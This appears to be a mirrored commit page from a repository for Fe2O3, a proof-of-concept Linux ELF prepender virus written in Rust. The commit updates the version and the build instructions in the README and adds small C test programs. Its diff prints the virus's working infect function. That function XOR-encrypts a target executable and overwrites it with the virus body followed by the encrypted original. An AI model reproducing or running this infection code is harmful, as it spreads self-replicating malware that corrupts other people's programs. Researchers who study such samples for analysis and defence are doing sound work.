mirror of
https://github.com/guitmz/Fe2O3
synced 2024-06-16 03:48:04 +00:00
fixing readme, updating version in cargo
This commit is contained in:
parent
0fa69545ae
commit
46c5953b34
@ -1,5 +1,5 @@
|
||||
[package]
|
||||
name = "Linux.Fe2O3"
|
||||
version = "0.1.0"
|
||||
version = "0.2.0"
|
||||
authors = ["Guilherme Thomazi Bonicontro <thomazi@linux.com>"]
|
||||
edition = "2019"
|
||||
|
@ -3,8 +3,8 @@
|
||||
This is a POC ELF prepender written in Rust. I like writting prependers on languages that I'm learning and find interesting. As for the name, `Fe2O3` is the chemical formula of Rust, I thought it was appropriate.
|
||||
|
||||
# Build
|
||||
```$ cd src
|
||||
$ rustc main.rs -o Linux.Fe2O3
|
||||
```
|
||||
$ rustc src/main.rs -o Linux.Fe2O3
|
||||
```
|
||||
|
||||
Note that the Rust version used is `rustc 1.37.0 (eae3437df 2019-08-13)`, the latest at this moment.
|
||||
|
BIN
src/args
Executable file
BIN
src/args
Executable file
Binary file not shown.
10
src/args.c
Normal file
10
src/args.c
Normal file
@ -0,0 +1,10 @@
|
||||
#include <stdio.h>
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
int counter;
|
||||
for(counter=0; counter<argc; counter++)
|
||||
printf("argv[%2d]: %s\n",counter,argv[counter]);
|
||||
|
||||
return 0;
|
||||
}
|
BIN
src/main
Executable file
BIN
src/main
Executable file
Binary file not shown.
@ -97,12 +97,14 @@ fn infect(virus: &OsString, target: &OsStr) {
|
||||
let host_buf = read_file(target);
|
||||
let encrypted_host_buf = xor_enc_dec(host_buf);
|
||||
let mut virus_buf = vec![0; VIRUS_SIZE as usize];
|
||||
|
||||
let mut f = File::open(virus).unwrap();
|
||||
f.read_exact(&mut virus_buf).unwrap();
|
||||
|
||||
let mut infected = File::create(target).unwrap();
|
||||
infected.write_all(&virus_buf).unwrap();
|
||||
infected.write_all(&encrypted_host_buf).unwrap();
|
||||
|
||||
infected.sync_all().unwrap();
|
||||
infected.flush().unwrap();
|
||||
}
|
||||
|
BIN
src/target
Executable file
BIN
src/target
Executable file
Binary file not shown.
5
src/target.c
Normal file
5
src/target.c
Normal file
@ -0,0 +1,5 @@
|
||||
#include <stdio.h>
|
||||
|
||||
void main() {
|
||||
printf("I am the target!\n");
|
||||
}
|
Loading…
Reference in New Issue
Block a user